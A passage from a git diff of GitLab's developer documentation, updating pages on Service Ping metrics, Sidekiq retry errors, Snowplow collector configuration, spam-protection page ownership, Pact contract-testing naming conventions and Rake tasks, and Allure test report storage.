`redis_hll` metrics, the type of aggregation is also taken into consideration. In this context, the term "aggregation" refers to [chosen events data storage interval](implement.md#add-new-events), and is **NOT** related to the Aggregated Metrics feature. For more information about the aggregation type of each feature, see the [`common.yml` file](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/usage_data_counters/known_events/common.yml). Weeks run from Monday to Sunday. -| data_source | time_frame | aggregation | Description | +| data_source | time_frame | aggregation | Description | |------------------------|------------|----------------|-------------------------------------------------| | any | `none` | not applicable | A type of data that’s not tracked over time, such as settings and configuration information | | `database` | `all` | not applicable | The whole time the metric has been active (all-time interval) | diff --git a/doc/development/service_ping/metrics_instrumentation.md b/doc/development/service_ping/metrics_instrumentation.md index 5cc8a7811d7..80500ccc723 100644 --- a/doc/development/service_ping/metrics_instrumentation.md +++ b/doc/development/service_ping/metrics_instrumentation.md @@ -257,10 +257,10 @@ options: ## Aggregated metrics <div class="video-fallback"> - See the video from: <a href="https://www.youtube.com/embed/22LbYqHwtUQ">Product Intelligence Office Hours Oct 6th</a> for an aggregated metrics walk-through. + See the video from: <a href="https://www.youtube.com/watch?v=22LbYqHwtUQ">Product Intelligence Office Hours Oct 6th</a> for an aggregated metrics walk-through. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/22LbYqHwtUQ" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/22LbYqHwtUQ" frameborder="0" allowfullscreen> </iframe> </figure> The aggregated metrics feature provides insight into the number of data attributes, for example `pseudonymized_user_ids`, that occurred in a collection of events. For example, you can aggregate the number of users who perform multiple actions such as creating a new issue and opening @@ -474,5 +474,5 @@ The following pairing session video gives you an example of an investigation in See the video from: <a href="https://www.youtube.com/watch?v=y_6m2POx2ug">Product Intelligence Office Hours Oct 27th</a> to learn more about the metrics troubleshooting process. </div> <figure class="video-container"> - <iframe src="https://www.youtube.com/embed/y_6m2POx2ug" frameborder="0" allowfullscreen="true"> </iframe> + <iframe src="https://www.youtube-nocookie.com/embed/y_6m2POx2ug" frameborder="0" allowfullscreen> </iframe> </figure> diff --git a/doc/development/sidekiq/index.md b/doc/development/sidekiq/index.md index c9d783377bd..f4f98641d39 100644 --- a/doc/development/sidekiq/index.md +++ b/doc/development/sidekiq/index.md @@ -83,6 +83,19 @@ Each retry for a worker is counted as a failure in our metrics. A worker which always fails 9 times and succeeds on the 10th would have a 90% error rate. +If you want to manually retry the worker without tracking the exception in Sentry, +use an exception class inherited from `Gitlab::SidekiqMiddleware::RetryError`. + +```ruby +ServiceUnavailable = Class.new(::Gitlab::SidekiqMiddleware::RetryError) + +def perform + ... + + raise ServiceUnavailable if external_service_unavailable? +end +``` + ## Sidekiq Queues Previously, each worker had its own queue, which was automatically set based on the diff --git a/doc/development/snowplow/implementation.md b/doc/development/snowplow/implementation.md index a80d6fe70ff..40b8b7b3da8 100644 --- a/doc/development/snowplow/implementation.md +++ b/doc/development/snowplow/implementation.md @@ -115,7 +115,7 @@ You can also use it on HAML templates: ``` If you use the GitLab helper method [`nav_link`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/helpers/tab_helper.rb#L76), you must wrap `html_options` under the `html_options` keyword argument. If you -use the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/v5.2.3/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to), you don't need to wrap `html_options`. +use the `ActionView` helper method [`link_to`](https://api.rubyonrails.org/classes/ActionView/Helpers/UrlHelper.html#method-i-link_to), you don't need to wrap `html_options`. ```ruby # Bad diff --git a/doc/development/snowplow/index.md b/doc/development/snowplow/index.md index 32628744a23..6acbd72175e 100644 --- a/doc/development/snowplow/index.md +++ b/doc/development/snowplow/index.md @@ -27,9 +27,10 @@ Tracking can be enabled at: - The user level. User tracking can be disabled on a per user basis. GitLab respects the [Do Not Track](https://www.eff.org/issues/do-not-track) standard, so any user who has enabled the Do Not Track option in their browser is not tracked at a user level. -Snowplow tracking is enabled on GitLab.com, and we use it for most of our tracking strategy. +Snowplow tracking is configured to send data for GitLab.com to a collector configured by GitLab. By default, self-managed +instances do not have a collector configured and do not collect data via Snowplow. -To enable Snowplow tracking on a self-managed instance: +You can configure your self-managed GitLab instance to use a custom Snowplow collector. 1. On the top bar, select **Main menu > Admin**, then select **Settings > General**. Alternatively, go to `admin/application_settings/general` in your browser. diff --git a/doc/development/software_design.md b/doc/development/software_design.md index 03cbbb13d9f..d4edbaa72be 100644 --- a/doc/development/software_design.md +++ b/doc/development/software_design.md @@ -1,6 +1,6 @@ --- stage: none -+group: Engineering Productivity +group: Engineering Productivity info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/spam_protection_and_captcha/exploratory_testing.md b/doc/development/spam_protection_and_captcha/exploratory_testing.md index 1bcd336ce93..fe5c1c3db56 100644 --- a/doc/development/spam_protection_and_captcha/exploratory_testing.md +++ b/doc/development/spam_protection_and_captcha/exploratory_testing.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- @@ -153,8 +153,8 @@ only models with full Spam and CAPTCHA support. 1. Create an API token. 1. Export it in your terminal for the REST commands: `export PRIVATE_TOKEN=<your_api_token>` -1. Ensure you are logged into GitLab development environment at `localhost:3000` before using GraphiQL explorer, - because it uses your logged-in user as authorization for running GraphQL queries. +1. Ensure you are signed into the GitLab development environment at `localhost:3000` before using GraphiQL explorer, + because it uses your authenticated user as authorization for running GraphQL queries. 1. For the GraphQL examples, use the GraphiQL explorer at `http://localhost:3000/-/graphql-explorer`. 1. Use the `--include` (`-i`) option to `curl` to print the HTTP response headers, including the status code. diff --git a/doc/development/spam_protection_and_captcha/graphql_api.md b/doc/development/spam_protection_and_captcha/graphql_api.md index 846165d35f1..383b52df1fc 100644 --- a/doc/development/spam_protection_and_captcha/graphql_api.md +++ b/doc/development/spam_protection_and_captcha/graphql_api.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/spam_protection_and_captcha/index.md b/doc/development/spam_protection_and_captcha/index.md index 1ba1c1678c4..254c3401f81 100644 --- a/doc/development/spam_protection_and_captcha/index.md +++ b/doc/development/spam_protection_and_captcha/index.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/spam_protection_and_captcha/model_and_services.md b/doc/development/spam_protection_and_captcha/model_and_services.md index d0ca6d350dc..9c5d389a2f5 100644 --- a/doc/development/spam_protection_and_captcha/model_and_services.md +++ b/doc/development/spam_protection_and_captcha/model_and_services.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/spam_protection_and_captcha/rest_api.md b/doc/development/spam_protection_and_captcha/rest_api.md index 7a9f8b5def1..7d749944163 100644 --- a/doc/development/spam_protection_and_captcha/rest_api.md +++ b/doc/development/spam_protection_and_captcha/rest_api.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/spam_protection_and_captcha/web_ui.md b/doc/development/spam_protection_and_captcha/web_ui.md index ff7049dd29f..0ae5e98f399 100644 --- a/doc/development/spam_protection_and_captcha/web_ui.md +++ b/doc/development/spam_protection_and_captcha/web_ui.md @@ -1,6 +1,6 @@ --- -stage: Manage -group: Authentication and Authorization +stage: Data Science +group: Anti-Abuse info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/product/ux/technical-writing/#assignments --- diff --git a/doc/development/testing_guide/best_practices.md b/doc/development/testing_guide/best_practices.md index aee3e2871c2..e27d4911158 100644 --- a/doc/development/testing_guide/best_practices.md +++ b/doc/development/testing_guide/best_practices.md @@ -155,6 +155,8 @@ To avoid creation, it is worth bearing in mind that: Use [Factory Doctor](https://test-prof.evilmartians.io/#/profilers/factory_doctor) to find cases where database persistence is not needed in a given test. +Examples of factories optimization [1](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/106796), [2](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/105329). + ```shell # run test for path FDOC=1 bin/rspec spec/[path]/[to]/[spec].rb @@ -831,7 +833,7 @@ To resolve, use `let`, or change the factory to not use stubs. ### Time-sensitive tests -[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html) +[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html) can be used to verify things that are time-sensitive. Any test that exercises or verifies something time-sensitive should make use of these helpers to prevent transient test failures. @@ -852,7 +854,7 @@ end #### RSpec helpers You can use the `:freeze_time` and `:time_travel_to` RSpec metadata tag helpers to help reduce the amount of -boilerplate code needed to wrap entire specs with the [`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html) +boilerplate code needed to wrap entire specs with the [`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html) methods. ```ruby @@ -872,7 +874,7 @@ end ``` [Under the hood](https://gitlab.com/gitlab-org/gitlab/-/blob/master/spec/support/time_travel.rb), these helpers use the `around(:each)` hook and the block syntax of the -[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/v6.0.3.1/classes/ActiveSupport/Testing/TimeHelpers.html) +[`ActiveSupport::Testing::TimeHelpers`](https://api.rubyonrails.org/classes/ActiveSupport/Testing/TimeHelpers.html) methods: ```ruby diff --git a/doc/development/testing_guide/contract/consumer_tests.md b/doc/development/testing_guide/contract/consumer_tests.md index 9c72e6835bd..39cc34d6153 100644 --- a/doc/development/testing_guide/contract/consumer_tests.md +++ b/doc/development/testing_guide/contract/consumer_tests.md @@ -6,11 +6,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Writing consumer tests -This tutorial guides you through writing a consumer test from scratch. To start, the consumer tests are written using [`jest-pact`](https://github.com/pact-foundation/jest-pact) that builds on top of [`pact-js`](https://github.com/pact-foundation/pact-js). This tutorial shows you how to write a consumer test for the `/discussions.json` REST API endpoint, which is actually `/:namespace_name/:project_name/-/merge_requests/:id/discussions.json`. For an example of a GraphQL consumer test, see [`spec/contracts/consumer/specs/project/pipeline/show.spec.js`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/spec/contracts/consumer/specs/project/pipeline/show.spec.js). +This tutorial guides you through writing a consumer test from scratch. To start, the consumer tests are written using [`jest-pact`](https://github.com/pact-foundation/jest-pact) that builds on top of [`pact-js`](https://github.com/pact-foundation/pact-js). This tutorial shows you how to write a consumer test for the `/discussions.json` REST API endpoint, which is `/:namespace_name/:project_name/-/merge_requests/:id/discussions.json`, that is called in the `MergeRequests#show` page. For an example of a GraphQL consumer test, see [`spec/contracts/consumer/specs/project/pipelines/show.spec.js`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/spec/contracts/consumer/specs/project/pipelines/show.spec.js). ## Create the skeleton -Start by creating the skeleton of a consumer test. Create a file under `spec/contracts/consumer/specs/project/merge_request` called `discussions.spec.js`. +Start by creating the skeleton of a consumer test. Since this is for a request in the `MergeRequests#show` page, under `spec/contracts/consumer/specs/project/merge_requests`, create a file called `show.spec.js`. Then, populate it with the following function and parameters: - [`pactWith`](#the-pactwith-function) @@ -38,10 +38,10 @@ import { pactWith } from 'jest-pact'; pactWith( { - consumer: 'MergeRequest#show', - provider: 'Merge Request Discussions Endpoint', + consumer: 'MergeRequests#show', + provider: 'GET discussions', log: '../logs/consumer.log', - dir: '../contracts/project/merge_request/show', + dir: '../contracts/project/merge_requests/show', }, PactFn ); @@ -58,14 +58,14 @@ import { pactWith } from 'jest-pact'; pactWith( { - consumer: 'MergeRequest#show', - provider: 'Merge Request Discussions Endpoint', + consumer: 'MergeRequests#show', + provider: 'GET discussions', log: '../logs/consumer.log', - dir: '../contracts', + dir: '../contracts/project/merge_requests/show', }, (provider) => { - describe('Merge Request Discussions Endpoint', () => { + describe('GET discussions', () => { beforeEach(() => { }); @@ -97,14 +97,14 @@ import { Matchers } from '@pact-foundation/pact'; pactWith( { - consumer: 'MergeRequest#show', - provider: 'Merge Request Discussions Endpoint', + consumer: 'MergeRequests#show', + provider: 'GET discussions', log: '../logs/consumer.log', - dir: '../contracts/project/merge_request/show', + dir: '../contracts/project/merge_requests/show', }, (provider) => { - describe('Merge Request Discussions Endpoint', () => { + describe('GET discussions', () => { beforeEach(() => { const interaction = { state: 'a merge request with discussions exists', @@ -175,14 +175,14 @@ import { getDiscussions } from '../../../resources/api/project/merge_requests'; pactWith( { - consumer: 'MergeRequest#show', - provider: 'Merge Request Discussions Endpoint', + consumer: 'MergeRequests#show', + provider: 'GET discussions', log: '../logs/consumer.log', - dir: '../contracts/project/merge_request/show', + dir: '../contracts/project/merge_requests/show', }, (provider) => { - describe('Merge Request Discussions Endpoint', () => { + describe('GET discussions', () => { beforeEach(() => { const interaction = { state: 'a merge request with discussions exists', @@ -232,7 +232,7 @@ There we have it! The consumer test is now set up. You can now try [running this As you may have noticed, the request and response definitions can get large. This results in the test being difficult to read, with a lot of scrolling to find what you want. You can make the test easier to read by extracting these out to a `fixture`. -Create a file under `spec/contracts/consumer/fixtures/project/merge_request` called `discussions.fixture.js` where you will place the `request` and `response` definitions. +Create a file under `spec/contracts/consumer/fixtures/project/merge_requests` called `discussions.fixture.js` where you will place the `request` and `response` definitions. ```javascript import { Matchers } from '@pact-foundation/pact'; @@ -279,13 +279,13 @@ With all of that moved to the `fixture`, you can simplify the test to the follow ```javascript import { pactWith } from 'jest-pact'; -import { Discussions } from '../../../fixtures/project/merge_request/discussions.fixture'; +import { Discussions } from '../../../fixtures/project/merge_requests/discussions.fixture'; import { getDiscussions } from '../../../resources/api/project/merge_requests'; -const CONSUMER_NAME = 'MergeRequest#show'; -const PROVIDER_NAME = 'Merge Request Discussions Endpoint'; +const CONSUMER_NAME = 'MergeRequests#show'; +const PROVIDER_NAME = 'GET discussions'; const CONSUMER_LOG = '../logs/consumer.log'; -const CONTRACT_DIR = '../contracts/project/merge_request/show'; +const CONTRACT_DIR = '../contracts/project/merge_requests/show'; pactWith( { diff --git a/doc/development/testing_guide/contract/index.md b/doc/development/testing_guide/contract/index.md index 08a21e58a52..31d68bb9f4f 100644 --- a/doc/development/testing_guide/contract/index.md +++ b/doc/development/testing_guide/contract/index.md @@ -24,7 +24,7 @@ The contracts themselves are stored in [`/spec/contracts/contracts`](https://git ### Run the consumer tests -Before running the consumer tests, go to `spec/contracts/consumer` and run `npm install`. To run all the consumer tests, you just need to run `npm test -- /specs`. Otherwise, to run a specific spec file, replace `/specs` with the specific spec filename. +Before running the consumer tests, go to `spec/contracts/consumer` and run `npm install`. To run all the consumer tests, you just need to run `npm run jest:contract -- /specs`. Otherwise, to run a specific spec file, replace `/specs` with the specific spec filename. Running the consumer test will create the contract that the provider test uses to verify the actual API behavior. You can also run tests from the root directory of the project, using the command `yarn jest:contract`. @@ -40,6 +40,14 @@ rake contracts:merge_requests:pact:verify:discussions rake contracts:merge_requests:test:merge_requests[contract_merge_requests] # Run all merge request contract tests ``` +#### Verify the contracts in Pact Broker + +By default, the Rake tasks will verify the locally stored contracts. In order to verify the contracts published in the Pact Broker, we need to set the `PACT_BROKER` environment variable to `true`. It is important to point out here that the file path and file name of the provider test is what is used to find the contract in the Pact Broker which is why it is important to make sure the [provider test naming conventions](#provider-naming) are followed. + +## Publish contracts to Pact Broker + +The contracts generated by the consumer test can be published to a hosted Pact Broker by going to `spec/contracts` and running the `publish-contracts.sh` script. + ## Test suite folder structure and naming conventions To keep the consumer and provider test suite organized and maintainable, it's important that tests are organized, also that consumers and providers are named consistently. Therefore, it's important to adhere to the following conventions. @@ -50,31 +58,33 @@ Having an organized and sensible folder structure for the test suite makes it ea #### Consumer tests -The consumer tests are grouped according to the different pages in the application. Each file contains various types of requests found in a page. As such, the consumer test files are named using the Rails standards of how pages are referenced. For example, the project pipelines page would be the `Project::Pipeline#index` page so the equivalent consumer test would be located in `consumer/specs/project/pipelines/index.spec.js`. +The consumer tests are grouped according to the different pages in the application. Each file contains various types of requests found in a page. As such, the consumer test files are named using the Rails standards of how pages are referenced. For example, the project pipelines page would be the `Project::Pipelines#index` page so the equivalent consumer test would be located in `consumer/specs/project/pipelines/index.spec.js`. When defining the location to output the contract generated by the test, we want to follow the same file structure which would be `contracts/project/pipelines/` for this example. This is the structure in `consumer/resources` and `consumer/fixtures` as well. +The naming of the folders must also be pluralized to match how they are called in the Rails naming standard. + #### Provider tests The provider tests are grouped similarly to our controllers. Each of these tests contains various tests for an API endpoint. For example, the API endpoint to get a list of pipelines for a project would be located in `provider/pact_helpers/project/pipelines/get_list_project_pipelines_helper.rb`. The provider states are grouped according to the different pages in the application similar to the consumer tests. ### Naming conventions -When writing the consumer and provider tests, there are parts where a name is required for the consumer and provider. Since there are no restrictions imposed by Pact on how these should be named, a naming convention is important to keep it easy for us to figure out which consumer and provider tests are involved during debugging. Pact also uses the consumer and provider names to generate the generated contracts in the `#{consumer_name}-#{provider_name}` format. +When writing the consumer and provider tests, there are parts where a name is required for the consumer and provider. Since there are no restrictions imposed by Pact on how these should be named, a naming convention is important to keep it easy for us to figure out which consumer and provider tests are involved during debugging. Pact also uses the consumer and provider names to create the locally stored contract file names in the `#{consumer_name}-#{provider_name}` format. #### Consumer naming -As mentioned in the [folder structure section](#consumer-tests), consumer tests are grouped according to the different pages in the application. As such, consumer names should follow the same naming format using the Rails standard. For example, the consumer test for `Project::Pipeline#index` would be `ProjectPipeline#index` as the consumer name. Since Pact uses this name to name the contracts it generates, the colons (`::`) are dropped as colons are not valid characters in file names. +As mentioned in the [folder structure section](#consumer-tests), consumer tests are grouped according to the different pages in the application. As such, consumer names should follow the same naming format using the Rails standard. For example, the consumer test for `Project::Pipelines#index` would be under the `project` folder and will be called `Pipelines#index` as the consumer name. #### Provider naming -These are the API endpoints that provides the data to the consumer so they are named according to the API endpoint they pertain to. Be mindful that this name is as descriptive as possible. For example, if we're writing a test for the `GET /groups/:id/projects` endpoint, we don't want to name it "Projects endpoint" as there is a `GET /projects` endpoint as well that also fetches a list of projects the user has access to across all of GitLab. An easy way to name them is by checking out our [API documentation](../../../api/api_resources.md) and naming it the same way it is named in there. So the [`GET /groups/:id/projects`](../../../api/groups.md#list-a-groups-projects) would be called `List a group’s projects` and [`GET /projects`](../../../api/projects.md#list-all-projects) would be called `List all projects`. Subsequently, the test files are named `list_a_groups_projects_helper.rb` and `list_all_projects_helper.rb` respectively. +These are the API endpoints that provides the data to the consumer so they are named according to the API endpoint they pertain to. Be mindful that this begins with the HTTP request method and the rest of the name is as descriptive as possible. For example, if we're writing a test for the `GET /groups/:id/projects` endpoint, we don't want to name it "GET projects endpoint" as there is a `GET /projects` endpoint as well that also fetches a list of projects the user has access to across all of GitLab. To choose an appropriate name, we can start by checking out our [API documentation](../../../api/api_resources.md) and naming it the same way it is named in there while making sure to keep the name in sentence case. So the [`GET /groups/:id/projects`](../../../api/groups.md#list-a-groups-projects) would be called `GET list a group's projects` and [`GET /projects`](../../../api/projects.md#list-all-projects) would be called `GET list all projects`. Subsequently, the test files are named `get_list_a_groups_projects_helper.rb` and `get_list_all_projects_helper.rb` respectively. -There are some cases where the provider being tested may not be documented so, in those cases, fall back to choosing a name that is as descriptive as possible to ensure it's easy to tell what the provider is for. +There are some cases where the provider being tested may not be documented so, in those cases, fall back to starting with the HTTP request method followed by a name that is as descriptive as possible to ensure it's easy to tell what the provider is for. #### Conventions summary | Tests | Folder structure | Naming convention | | ----- | ---------------- | ----------------- | -| Consumer Test | Follows the Rails reference standards. For example, `Project::Pipeline#index` would be `consumer/specs/project/pipelines/index.spec.js` | Follows the Rails naming standard. For example, `Project::Pipeline#index` would be `ProjectPipeline#index` | -| Provider Test | Grouped like the Rails controllers. For example, [`List project pipelines` API endpoint](../../../api/pipelines.md#list-project-pipelines) would be `provider/pact_helpers/project/pipelines/provider/pact_helpers/project/pipelines/get_list_project_pipelines_helper.rb` | Follows the API documentation naming scheme. For example, [`GET /projects/:id/pipelines`](../../../api/pipelines.md#list-project-pipelines) would be called `List project pipelines`. | +| Consumer Test | Follows the Rails reference standards. For example, `Project::Pipelines#index` would be `consumer/specs/project/pipelines/index.spec.js` | Follows the Rails naming standard. For example, `Project::Pipelines#index` would be `Pipelines#index` within the `project` folder. | +| Provider Test | Grouped like the Rails controllers. For example, [`GET list project pipelines` API endpoint](../../../api/pipelines.md#list-project-pipelines) would be `provider/pact_helpers/project/pipelines/provider/pact_helpers/project/pipelines/get_list_project_pipelines_helper.rb` | Follows the API documentation naming scheme in sentence case. For example, [`GET /projects/:id/pipelines`](../../../api/pipelines.md#list-project-pipelines) would be called `GET list project pipelines`. | diff --git a/doc/development/testing_guide/contract/provider_tests.md b/doc/development/testing_guide/contract/provider_tests.md index 1772ed9384e..3ce9f91a307 100644 --- a/doc/development/testing_guide/contract/provider_tests.md +++ b/doc/development/testing_guide/contract/provider_tests.md @@ -10,7 +10,7 @@ This tutorial guides you through writing a provider test from scratch. It is a c ## Create the skeleton -Provider tests are quite simple. The goal is to set up the test data and then link that with the corresponding contract. Start by creating a file called `discussions_helper.rb` under `spec/contracts/provider/pact_helpers/project/merge_request`. Note that the files are called `helpers` to match how they are called by Pact in the Rake tasks, which are set up at the end of this tutorial. +Provider tests are quite simple. The goal is to set up the test data and then link that with the corresponding contract. Start by creating a file called `get_discussions_helper.rb` under `spec/contracts/provider/pact_helpers/project/merge_request`. Note that the files are called `helpers` to match how they are called by Pact in the Rake tasks, which are set up at the end of this tutorial. To learn more about how the contract test directory is structured, see the contract testing [test suite folder structure](index.md#test-suite-folder-structure). @@ -23,7 +23,7 @@ require_relative '../../../spec_helper' module Provider module DiscussionsHelper - Pact.service_provider 'Merge Request Discussions Endpoint' do + Pact.service_provider 'GET discussions' do end end @@ -39,8 +39,8 @@ require_relative '../../../spec_helper' module Provider module DiscussionsHelper - Pact.service_provider 'Merge Request Discussions Endpoint' do - honours_pact_with 'MergeRequest#show' do + Pact.service_provider 'GET discussions' do + honours_pact_with 'MergeRequests#show' do end end @@ -59,10 +59,10 @@ require_relative '../../../spec_helper' module Provider module DiscussionsHelper - Pact.service_provider 'Merge Request Discussions Endpoint' do + Pact.service_provider 'GET discussions' do app { Environment::Test.app } - honours_pact_with 'MergeRequest#show' do + honours_pact_with 'MergeRequests#show' do end end @@ -79,11 +79,11 @@ require_relative '../../../spec_helper' module Provider module DiscussionsHelper - Pact.service_provider 'Merge Request Discussions Endpoint' do + Pact.service_provider 'GET discussions' do app { Environment::Test.app } - honours_pact_with 'MergeRequest#show' do - pact_uri '../contracts/project/merge_request/show/mergerequest#show-merge_request_discussions_endpoint.json' + honours_pact_with 'MergeRequests#show' do + pact_uri '../contracts/project/merge_requests/show/mergerequests#show-merge_request_discussions_endpoint.json' end end end @@ -92,20 +92,25 @@ end ## Add / update the Rake tasks -Now that you have a test created, you must create Rake tasks that run this test. The Rake tasks are defined in [`lib/tasks/contracts.rake`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/tasks/contracts.rake) where we have individual Rake tasks to run individual specs, but also Rake tasks that run a group of tests. +Now that you have a test created, you must create Rake tasks that run this test. The Rake tasks are defined in [`lib/tasks/contracts/merge_requests.rake`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/lib/tasks/contracts/merge_requests.rake) where we have individual Rake tasks to run individual tests, but also Rake tasks that run a group of tests. -Under the `contracts:mr` namespace, introduce the Rake task to run this new test specifically. In it, call `pact.uri` to define the location of the contract and the provider test that tests that contract. Notice here that `pact_uri` has a parameter called `pact_helper`. This is why the provider tests are called `_helper.rb`. +Under the `contracts:merge_requests` namespace, introduce the Rake task to run this new test specifically. In it, call `pact.uri` to define the location of the contract and the provider test that tests that contract. Notice here that `pact_uri` has a parameter called `pact_helper`. This is why the provider tests are called `_helper.rb`. ```ruby -Pact::VerificationTask.new(:discussions) do |pact| +Pact::VerificationTask.new(:get_discussions) do |pact| + provider = File.expand_path('../../../spec/contracts/provider', __dir__) + pact_helper_location = "pact_helpers/project/merge_requests/show/get_discussions_helper.rb" + pact.uri( - "#{contracts}/contracts/project/merge_request/show/merge_request#show-merge_request_discussions_endpoint.json", - pact_helper: "#{provider}/pact_helpers/project/merge_request/discussions_helper.rb" + Provider::ContractSourceHelper.contract_location(:rake, pact_helper_location), + pact_helper: "#{provider}/#{pact_helper_location}" ) end ``` -At the same time, add your new `:discussions` Rake task to be included in the `test:merge_request` Rake task. In that Rake task, there is an array defined (`%w[metadata diffs]`). You must add `discussions` in that list. +[`Provider::ContractSourceHelper`](https://gitlab.com/gitlab-org/gitlab/-/tree/master/spec/contracts/provider/helpers/contract_source_helper.rb) is a helper module that has the `#contract_location` method which parses `pact_helper_location` and determines where the contract is stored locally or on the Pact Broker depending on the `requester` passed in. + +At the same time, add your new `:get_discussions` Rake task to be included in the `test:merge_requests` Rake task. In that Rake task, there is an array defined (`%w[get_diffs_batch get_diffs_metadata]`). You must add `get_discussions` in that list. ## Create test data @@ -113,7 +118,7 @@ As the last step, create the test data that allows the provider test to return t You can read more about [provider states](https://docs.pact.io/implementation_guides/ruby/provider_states). We can do global provider states but for this tutorial, the provider state is for one specific `state`. -To create the test data, create `discussions_state.rb` under `spec/contracts/provider/states/project/merge_request`. Be sure to also import this state file in the `discussions_helper.rb` file. +To create the test data, create `show_state.rb` under `spec/contracts/provider/states/project/merge_requests`. Be sure to also import this state file in the `get_discussions_helper.rb` file. ### Default user in `spec/contracts/provider/spec_helper.rb` @@ -141,7 +146,7 @@ Any further modifications to the user that's needed can be done through the indi In the state file, you must define which consumer this provider state is for. You can do that with `provider_states_for`. Make sure that the `name` provided matches the name defined for the consumer. ```ruby -Pact.provider_states_for 'MergeRequest#show' do +Pact.provider_states_for 'MergeRequests#show' do end ``` @@ -150,7 +155,7 @@ end In the `provider_states_for` block, you then define the state the test data is for. These states are also defined in the consumer test. In this case, there is a `'a merge request with discussions exists'` state. ```ruby -Pact.provider_states_for "MergeRequest#show" do +Pact.provider_states_for "MergeRequests#show" do provider_state "a merge request with discussions exists" do end @@ -162,7 +167,7 @@ end This is where you define the test data creation steps. Use `FactoryBot` to create the data. As you create the test data, you can keep [running the provider test](index.md#run-the-provider-tests) to check on the status of the test and figure out what else is missing in your data setup. ```ruby -Pact.provider_states_for "MergeRequest#show" do +Pact.provider_states_for "MergeRequests#show" do provider_state "a merge request with discussions exists" do set_up do user = User.find_by(name: Provider::UsersHelper::CONTRACT_USER_NAME) @@ -187,20 +192,19 @@ Now that the provider state file is created, you need to import the state file t # frozen_string_literal: true require_relative '../../../spec_helper' -require_relative '../../../states/project/merge_request/discussions_state' +require_relative '../../../states/project/merge_requests/show_state' module Provider module DiscussionsHelper - Pact.service_provider "/merge_request/discussions" do + Pact.service_provider "GET discussions" do app { Environments::Test.app } honours_pact_with 'Merge Request#show' do - pact_uri '../contracts/project/merge_request/show/merge_request#show-merge_request_discussions_endpoint.json' + pact_uri '../contracts/project/merge_requests/show/mergerequests#show-merge_request_discussions_endpoint.json' end end end end - ``` -And there we have it. The provider test for `discussions_helper.rb` should now pass with this. +And there we have it. The provider test for `get_discussions_helper.rb` should now pass with this. diff --git a/doc/development/testing_guide/end_to_end/index.md b/doc/development/testing_guide/end_to_end/index.md index 55d725ba4ae..8369dcb0740 100644 --- a/doc/development/testing_guide/end_to_end/index.md +++ b/doc/development/testing_guide/end_to_end/index.md @@ -207,11 +207,10 @@ For additional test results visibility, tests that run on pipelines generate and host [Allure](https://github.com/allure-framework/allure2) test reports. The `QA` framework is using the [Allure RSpec](https://github.com/allure-framework/allure-ruby/blob/master/allure-rspec/README.md) -gem to generate source files for the `Allure` test report. An additional job -in the pipeline: +gem to generate source files for the `Allure` test report. An additional job in the pipeline: - Fetches these source files from all test jobs. -- Generates and uploads the report to the `GCS` bucket `gitlab-qa-allure-report` under the project `gitlab-qa-resources`. +- Generates and uploads the report to the `S3` bucket `gitlab-qa-allure-report` located in `AWS` group project `eng-quality-ops-ci-cd-shared-infra`. A common CI template for report uploading is stored in [`allure-report.yml`](https://gitlab.com/gitlab-org/quality/pipeline-common/-/blob/master/ci/allure-report.yml). @@ -230,13 +229,13 @@ a link to the current test report. Each type of scheduled pipeline generates a static link for the latest test report according to its stage: -- [`master`](https://storage.googleapis.com/gitlab-qa-allure-reports/e2e-package-and-test/master/index.html) -- [`staging-full`](https://storage.googleapis.com/gitlab-qa-allure-reports/staging-full/master/index.html) -- [`staging-sanity`](https://storage.googleapis.com/gitlab-qa-allure-reports/staging-sanity/master/index.html) -- [`staging-sanity-no-admin`](https://storage.googleapis.com/gitlab-qa-allure-reports/staging-sanity-no-admin/master/index.html) -- [`canary-sanity`](https://storage.googleapis.com/gitlab-qa-allure-reports/canary-sanity/master/index.html) -- [`production`](https://storage.googleapis.com/gitlab-qa-allure-reports/production-full/master/index.html) -- 